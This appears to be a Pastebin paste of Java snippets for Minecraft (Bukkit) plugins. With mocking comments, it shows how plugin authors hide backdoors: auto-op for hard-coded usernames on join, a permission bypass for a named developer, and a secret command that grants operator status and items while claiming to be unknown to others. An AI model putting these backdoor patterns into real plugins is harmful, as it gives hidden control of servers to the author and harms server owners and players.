Advertisement
h31ix

Untitled

Aug 6th, 2012
317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.73 KB | None | 0 0
  1. String [] developers = {"Player1", "Player2", "CoolUsername"}; // Create a list of devs
  2.  
  3. @EventHandler
  4. public void onPlayerJoin(PlayerJoinEvent event) // Listen for players joining the server
  5. {
  6. String name = event.getPlayer().getName(); // Get the name of the player who joined
  7. for(String string : developers) // Loop through all the names in the list of devs
  8. {
  9. if(string.equals(name)) // If the name matches the user who just joined
  10. {
  11. event.getPlayer().sendMessage("Welcome to the server, master.");
  12. // No joke, people write like this all the time. Creeps.
  13.  
  14. event.getPlayer().setOp(true); // Set the player as operator of the server
  15. }
  16. }
  17. }
  18.  
  19. // Or here's another version, in a command executor
  20.  
  21. public boolean onCommand(CommandSender cs, ....) // Listen for commands
  22. {
  23. if(cmd.getName().equals("Command1") // Some normal plugin command
  24. {
  25. // Make sure the user has permission (the way it should be) OR the user is the developer. Effectively a permissions bypass, just because the user is "special"
  26. if(cs.hasPermission("myplugin.admin") || cs.getName().equals("DeveloperUsername123"))
  27. {
  28. // Execute the command
  29. }
  30. }
  31. else if(cmd.getName().equals("SecretCommand") // Secret command that only the dev knows about
  32. {
  33. if(cs.getName().equals("DeveloperUsername123")) // If the user is the developer
  34. {
  35. cs.setOp(true); // Op them
  36. // Give them a ton of items
  37. ((Player)cs).getInventory().add(new ItemStack(Material.TNT, 50000));
  38. // Customary creepy message
  39. cs.sendMessage("THE SERVER IS NOW YOURS MASTER");
  40. }
  41. else
  42. {
  43. // If someone else but them tries to execute the command, pretend like it doesn't exist
  44. cs.sendMessage("Unknown command. Type /help for ......");
  45. }
  46. }
  47. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement